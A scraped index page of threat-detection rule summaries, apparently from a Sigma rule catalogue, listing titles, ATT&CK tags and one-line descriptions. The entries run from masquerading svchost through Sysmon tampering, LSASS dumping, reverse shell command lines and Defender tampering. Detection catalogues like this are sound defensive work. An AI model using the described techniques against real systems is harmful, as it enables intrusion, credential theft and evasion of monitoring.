Detects a suspicious process that is masquerading as the legitimate "svchost.exe" by naming its binary "svchost.exe" and executing from an uncommon location. Adversaries often disguise their malicious binaries by naming them after legitimate system processes like "svchost.exe" to evade detection.

Read More
Suspicious Process Parents

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects suspicious parent processes that should not have any children or should only have a single possible child program

Read More
Suspicious Process Start Locations

Aug 12, 2024 · attack.defense-evasion attack.t1036 car.2013-05-002 ·
Share on:

Detects suspicious process run from unusual locations

Read More
Suspicious Processes Spawned by WinRM

Aug 12, 2024 · attack.t1190 attack.initial-access attack.persistence attack.privilege-escalation ·
Share on:

Detects suspicious processes including shells spawnd from WinRM host process

Read More
Suspicious PROCEXP152.sys File Created In TMP

Aug 12, 2024 · attack.t1562.001 attack.defense-evasion ·
Share on:

Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.

Read More
Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall

Read More
Suspicious Program Names

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools

Read More
Suspicious Provlaunch.EXE Child Process

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects suspicious child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.

Read More
Suspicious PsExec Execution

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one

Read More
Suspicious PsExec Execution - Zeek

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one

Read More
Suspicious Query of MachineGUID

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Use of reg to get MachineGuid information

Read More
Suspicious RASdial Activity

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects suspicious process related to rasdial.exe

Read More
Suspicious RDP Redirect Using TSCON

Aug 12, 2024 · attack.lateral-movement attack.t1563.002 attack.t1021.001 car.2013-07-002 ·
Share on:

Detects a suspicious RDP session redirect using tscon.exe

Read More
Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet

Aug 12, 2024 · attack.discovery attack.t1087.001 ·
Share on:

Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet

Read More
Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS

Aug 12, 2024 · attack.discovery attack.execution attack.t1615 attack.t1059.005 ·
Share on:

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

Read More
Suspicious Recursive Takeown

Aug 12, 2024 · attack.defense-evasion attack.t1222.001 ·
Share on:

Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders

Read More
Suspicious Redirection to Local Admin Share

Aug 12, 2024 · attack.exfiltration attack.t1048 ·
Share on:

Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers

Read More
Suspicious Reg Add BitLocker

Aug 12, 2024 · attack.impact attack.t1486 ·
Share on:

Detects suspicious addition to BitLocker related registry keys via the reg.exe utility

Read More
Suspicious Reg Add Open Command

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key

Read More
Suspicious Registry Modification From ADS Via Regini.EXE

Aug 12, 2024 · attack.t1112 attack.defense-evasion ·
Share on:

Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.

Read More
Suspicious Regsvr32 Execution From Remote Share

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects REGSVR32.exe to execute DLL hosted on remote shares

Read More
Suspicious Remote Child Process From Outlook

Aug 12, 2024 · attack.execution attack.t1059 attack.t1202 ·
Share on:

Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).

Read More
Suspicious Remote Logon with Explicit Credentials

Aug 12, 2024 · attack.t1078 attack.lateral-movement ·
Share on:

Detects suspicious processes logging on with explicit credentials

Read More
Suspicious Renamed Comsvcs DLL Loaded By Rundll32

Aug 12, 2024 · attack.credential-access attack.defense-evasion attack.t1003.001 ·
Share on:

Detects rundll32 loading a renamed comsvcs.dll to dump process memory

Read More
Suspicious Response File Execution Via Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects execution of "odbcconf" with the "-f" flag in order to load a response file with a non-".rsp" extension.

Read More
Suspicious Reverse Shell Command Line

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

Read More
Suspicious Run Key from Download

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories

Read More
Suspicious RunAs-Like Flag Combination

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools

Read More
Suspicious Rundll32 Activity Invoking Sys File

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452

Read More
Suspicious Rundll32 Execution With Image Extension

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects the execution of Rundll32.exe with DLL files masquerading as image files

Read More
Suspicious Rundll32 Invoking Inline VBScript

Aug 12, 2024 · attack.defense-evasion attack.t1055 ·
Share on:

Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452

Read More
Suspicious Rundll32 Setupapi.dll Activity

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.

Read More
Suspicious Runscripthelper.exe

Aug 12, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of powershell scripts via Runscripthelper.exe

Read More
Suspicious Scan Loop Network

Aug 12, 2024 · attack.execution attack.t1059 attack.discovery attack.t1018 ·
Share on:

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system

Read More
Suspicious Scheduled Task Creation

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·
Share on:

Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.

Read More
Suspicious Scheduled Task Creation Involving Temp Folder

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 ·
Share on:

Detects the creation of scheduled tasks that involves a temporary folder and runs only once

Read More
Suspicious Scheduled Task Name As GUID

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects creation of a scheduled task with a GUID like name

Read More
Suspicious Scheduled Task Update

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·
Share on:

Detects update to a scheduled task event that contain suspicious keywords.

Read More
Suspicious Scheduled Task Write to System32 Tasks

Aug 12, 2024 · attack.persistence attack.execution attack.t1053 ·
Share on:

Detects the creation of tasks from processes executed from suspicious locations

Read More
Suspicious Schtasks Execution AppData Folder

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that executes a file from C:\Users<USER>\AppData\Local

Read More
Suspicious Schtasks Schedule Type With High Privileges

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type

Read More
Suspicious Schtasks Schedule Types

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creations or modification on a suspicious schedule type

Read More
Suspicious ScreenSave Change by Reg.exe

Aug 12, 2024 · attack.privilege-escalation attack.t1546.002 ·
Share on:

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension

Read More
Suspicious Screensaver Binary File Creation

Aug 12, 2024 · attack.persistence attack.t1546.002 ·
Share on:

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension

Read More
Suspicious Script Execution From Temp Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects a suspicious script executions from temporary folder

Read More
Suspicious Scripting in a WMI Consumer

Aug 12, 2024 · attack.execution attack.t1059.005 ·
Share on:

Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers

Read More
Suspicious Serv-U Process Pattern

Aug 12, 2024 · attack.credential-access attack.t1555 cve.2021-35211 ·
Share on:

Detects a suspicious process pattern which could be a sign of an exploited Serv-U service

Read More
Suspicious Service Binary Directory

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects a service binary running in a suspicious directory

Read More
Suspicious Service DACL Modification Via Set-Service Cmdlet

Aug 12, 2024 · attack.persistence attack.t1543.003 ·
Share on:

Detects suspicious DACL modifications via the "Set-Service" cmdlet using the "SecurityDescriptorSddl" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable

Read More
Suspicious Service DACL Modification Via Set-Service Cmdlet - PS

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·
Share on:

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

Read More
Suspicious Service Installation

Aug 12, 2024 · attack.persistence attack.privilege-escalation car.2013-09-005 attack.t1543.003 ·
Share on:

Detects suspicious service installation commands

Read More
Suspicious Service Installation Script

Aug 12, 2024 · attack.persistence attack.privilege-escalation car.2013-09-005 attack.t1543.003 ·
Share on:

Detects suspicious service installation scripts

Read More
Suspicious Service Installed

Aug 12, 2024 · attack.t1562.001 attack.defense-evasion ·
Share on:

Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)

Read More
Suspicious Service Path Modification

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects service path modification via the "sc" binary to a suspicious command or path

Read More
Suspicious Set Value of MSDT in Registry (CVE-2022-30190)

Aug 12, 2024 · attack.defense-evasion attack.t1221 ·
Share on:

Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.

Read More
Suspicious Shells Spawn by Java Utility Keytool

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation ·
Share on:

Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)

Read More
Suspicious SignIns From A Non Registered Device

Aug 12, 2024 · attack.defense-evasion attack.t1078 ·
Share on:

Detects risky authentication from a non AD registered device without MFA being required.

Read More
Suspicious Splwow64 Without Params

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects suspicious Splwow64.exe process without any command line parameters

Read More
Suspicious SQL Error Messages

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects SQL error messages that indicate probing for an injection attack

Read More
Suspicious SQL Query

Aug 12, 2024 · attack.exfiltration attack.initial-access attack.privilege-escalation attack.t1190 attack.t1505.001 ·
Share on:

Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields

Read More
Suspicious SSL Connection

Aug 12, 2024 · attack.command-and-control attack.t1573 ·
Share on:

Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.

Read More
Suspicious Start-Process PassThru

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Powershell use PassThru option to start in background

Read More
Suspicious Startup Folder Persistence

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects when a file with a suspicious extension is created in the startup folder

Read More
Suspicious Svchost Process Access

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service.

Read More
Suspicious SysAidServer Child

Aug 12, 2024 · attack.lateral-movement attack.t1210 ·
Share on:

Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)

Read More
Suspicious SYSVOL Domain Group Policy Access

Aug 12, 2024 · attack.credential-access attack.t1552.006 ·
Share on:

Detects Access to Domain Group Policies stored in SYSVOL

Read More
Suspicious TCP Tunnel Via PowerShell Script

Aug 12, 2024 · attack.command-and-control attack.t1090 ·
Share on:

Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity

Read More
Suspicious Teams Application Related ObjectAcess Event

Aug 12, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.

Read More
Suspicious TSCON Start as SYSTEM

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects a tscon.exe start as LOCAL SYSTEM

Read More
Suspicious UltraVNC Execution

Aug 12, 2024 · attack.lateral-movement attack.g0047 attack.t1021.005 ·
Share on:

Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)

Read More
Suspicious Unblock-File

Aug 12, 2024 · attack.defense-evasion attack.t1553.005 ·
Share on:

Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.

Read More
Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.

Read More
Suspicious Unsigned Thor Scanner Execution

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects loading and execution of an unsigned thor scanner binary.

Read More
Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.

Read More
Suspicious Usage of CVE_2021_34484 or CVE 2022_21919

Aug 12, 2024 · attack.execution ·
Share on:

During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \Users\TEMP is created may be created during the exploitation. Viewed on 2008 Server

Read More
Suspicious Use of /dev/tcp

Aug 12, 2024 · attack.reconnaissance ·
Share on:

Detects suspicious command with /dev/tcp

Read More
Suspicious Use of CSharp Interactive Console

Aug 12, 2024 · attack.execution attack.t1127 ·
Share on:

Detects the execution of CSharp interactive console by PowerShell

Read More
Suspicious Use of PsLogList

Aug 12, 2024 · attack.discovery attack.t1087 attack.t1087.001 attack.t1087.002 ·
Share on:

Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs

Read More
Suspicious User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects suspicious malformed user agent strings in proxy logs

Read More
Suspicious User-Agents Related To Recon Tools

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects known suspicious (default) user-agents related to scanning/recon tools

Read More
Suspicious Userinit Child Process

Aug 12, 2024 · attack.defense-evasion attack.t1055 ·
Share on:

Detects a suspicious child process of userinit

Read More
Suspicious VBoxDrvInst.exe Parameters

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys

Read More
Suspicious VBScript UN2452 Pattern

Aug 12, 2024 · attack.persistence attack.t1547.001 detection.emerging-threats ·
Share on:

Detects suspicious inline VBScript keywords as used by UNC2452

Read More
Suspicious Volume Shadow Copy VSS_PS.dll Load

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1490 ·
Share on:

Detects the image load of vss_ps.dll by uncommon executables

Read More
Suspicious Volume Shadow Copy Vssapi.dll Load

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1490 ·
Share on:

Detects the image load of VSS DLL by uncommon executables

Read More
Suspicious Volume Shadow Copy Vsstrace.dll Load

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1490 ·
Share on:

Detects the image load of VSS DLL by uncommon executables

Read More
Suspicious VSFTPD Error Messages

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

Read More
Suspicious Vsls-Agent Command With AgentExtensionPath Load

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter

Read More
Suspicious WebDav Client Execution Via Rundll32.EXE

Aug 12, 2024 · attack.exfiltration attack.t1048.003 cve.2023-23397 ·
Share on:

Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397

Read More
Suspicious Where Execution

Aug 12, 2024 · attack.discovery attack.t1217 ·
Share on:

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Read More
Suspicious Windows ANONYMOUS LOGON Local Account Created

Aug 12, 2024 · attack.persistence attack.t1136.001 attack.t1136.002 ·
Share on:

Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.

Read More
Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the usage of "reg.exe" to add Defender folder exclusions. Qbot has been seen using this technique to add exclusions for folders within AppData and ProgramData.

Read More
Suspicious Windows Defender Registry Key Tampering Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the usage of "reg.exe" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection

Read More
Suspicious Windows Strings In URI

Aug 12, 2024 · attack.persistence attack.exfiltration attack.t1505.003 ·
Share on:

Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication

Read More
Suspicious Windows Trace ETW Session Tamper Via Logman.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 attack.t1070.001 ·
Share on:

Detects the execution of "logman" utility in order to disable or delete Windows trace sessions

Read More
Suspicious Windows Update Agent Empty Cmdline

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags

Read More
Suspicious WindowsTerminal Child Processes

Aug 12, 2024 · attack.execution attack.persistence ·
Share on:

Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)

Read More
Suspicious WMIC Execution Via Office Process

Aug 12, 2024 · attack.t1204.002 attack.t1047 attack.t1218.010 attack.execution attack.defense-evasion ·
Share on:

Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).

Read More
Suspicious WmiPrvSE Child Process

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1047 attack.t1204.002 attack.t1218.010 ·
Share on:

Detects suspicious and uncommon child processes of WmiPrvSE

Read More
Suspicious Word Cab File Write CVE-2021-40444

Aug 12, 2024 · attack.resource-development attack.t1587 detection.emerging-threats ·
Share on:

Detects file creation patterns noticeable during the exploitation of CVE-2021-40444

Read More
Suspicious Workstation Locking via Rundll32

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects a suspicious call to the user32.dll function that locks the user workstation

Read More
Suspicious WSMAN Provider Image Loads

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.003 ·
Share on:

Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.

Read More
Suspicious X509Enrollment - Process Creation

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Detect use of X509Enrollment

Read More
Suspicious X509Enrollment - Ps Script

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Detect use of X509Enrollment

Read More
Suspicious XOR Encoded PowerShell Command

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 attack.t1140 attack.t1027 ·
Share on:

Detects presence of a potentially xor encoded powershell command

Read More
Suspicious ZipExec Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.

Read More
Symlink Etc Passwd

Aug 12, 2024 · attack.t1204.001 attack.execution ·
Share on:

Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd

Read More
SyncAppvPublishingServer Bypass Powershell Restriction - PS Module

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

Read More
SyncAppvPublishingServer Execute Arbitrary PowerShell Code

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.

Read More
SyncAppvPublishingServer Execution to Bypass Powershell Restriction

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

Read More
SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.t1216 ·
Share on:

Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs

Read More
Sysinternals PsService Execution

Aug 12, 2024 · attack.discovery attack.persistence attack.t1543.003 ·
Share on:

Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering

Read More
Sysinternals PsSuspend Execution

Aug 12, 2024 · attack.discovery attack.persistence attack.t1543.003 ·
Share on:

Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes

Read More
Sysinternals PsSuspend Suspicious Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses

Read More
Sysinternals Tools AppX Versions Execution

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths

Read More
SysKey Registry Keys Access

Aug 12, 2024 · attack.discovery attack.t1012 ·
Share on:

Detects handle requests and access operations to specific registry keys to calculate the SysKey

Read More
Sysmon Application Crashed

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects application popup reporting a failure of the Sysmon service

Read More
Sysmon Blocked Executable

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Triggers on any Sysmon "FileBlockExecutable" event, which indicates a violation of the configured block policy

Read More
Sysmon Blocked File Shredding

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Triggers on any Sysmon "FileBlockShredding" event, which indicates a violation of the configured shredding policy.

Read More
Sysmon Channel Reference Deletion

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Potential threat actor tampering with Sysmon manifest and eventually disabling it

Read More
Sysmon Configuration Change

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration

Read More
Sysmon Configuration Error

Aug 12, 2024 · attack.defense-evasion attack.t1564 ·
Share on:

Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages

Read More
Sysmon Configuration Modification

Aug 12, 2024 · attack.defense-evasion attack.t1564 ·
Share on:

Detects when an attacker tries to hide from Sysmon by disabling or stopping it

Read More
Sysmon Configuration Update

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely

Read More
Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE

Aug 12, 2024 · attack.discovery attack.t1518.001 ·
Share on:

Detects usage of "findstr" with the argument "385201". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed).

Read More
Sysmon Driver Altitude Change

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes in Sysmon driver altitude value. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.

Read More
Sysmon Driver Unloaded Via Fltmc.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1562 attack.t1562.002 ·
Share on:

Detects possible Sysmon filter driver unloaded via fltmc.exe

Read More
Sysmon File Executable Creation Detected

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Triggers on any Sysmon "FileExecutableDetected" event, which triggers every time a PE that is monitored by the config is created.

Read More
Sysprep on AppData Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)

Read More
System and Hardware Information Discovery

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects system information discovery commands

Read More
System File Execution Location Anomaly

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects the execution of a Windows system binary that is usually located in the system folder from an uncommon location.

Read More
System Information Discovery

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects system information discovery commands

Read More
System Information Discovery - Auditd

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects System Information Discovery commands

Read More
System Information Discovery Via Sysctl - MacOS

Aug 12, 2024 · attack.defense-evasion attack.t1497.001 attack.discovery attack.t1082 ·
Share on:

Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments.

Read More
System Network Connections Discovery - Linux

Aug 12, 2024 · attack.discovery attack.t1049 ·
Share on:

Detects usage of system utilities to discover system network connections

Read More
System Network Connections Discovery - MacOs

Aug 12, 2024 · attack.discovery attack.t1049 ·
Share on:

Detects usage of system utilities to discover system network connections

Read More
System Network Connections Discovery Via Net.EXE

Aug 12, 2024 · attack.discovery attack.t1049 ·
Share on:

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

Read More
System Network Discovery - Linux

Aug 12, 2024 · attack.discovery attack.t1016 ·
Share on:

Detects enumeration of local network configuration

Read More
System Scripts Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
System Shutdown/Reboot - Linux

Aug 12, 2024 · attack.impact attack.t1529 ·
Share on:

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.

Read More
System Shutdown/Reboot - MacOs

Aug 12, 2024 · attack.impact attack.t1529 ·
Share on:

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.

Read More
Systemd Service Creation

Aug 12, 2024 · attack.persistence attack.t1543.002 ·
Share on:

Detects a creation of systemd services which could be used by adversaries to execute malicious code.

Read More
Systemd Service Reload or Start

Aug 12, 2024 · attack.persistence attack.t1543.002 ·
Share on:

Detects a reload or a start of a service.

Read More
T1047 Wmiprvse Wbemcomn DLL Hijack

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.002 ·
Share on:

Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network for a WMI DLL Hijack scenario.

Read More
TacticalRMM Service Installation

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool.

Read More
TAIDOOR RAT DLL Load

Aug 12, 2024 · attack.execution attack.t1055.001 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Chinese TAIDOOR RAT malware load

Read More
Tamper Windows Defender Remove-MpPreference

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet

Read More
Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet

Read More
Tamper With Sophos AV Registry Keys

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects tamper attempts to sophos av functionality via registry key modification

Read More
Tap Driver Installation

Aug 12, 2024 · attack.exfiltration attack.t1048 ·
Share on:

Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques

Read More
Tap Driver Installation - Security

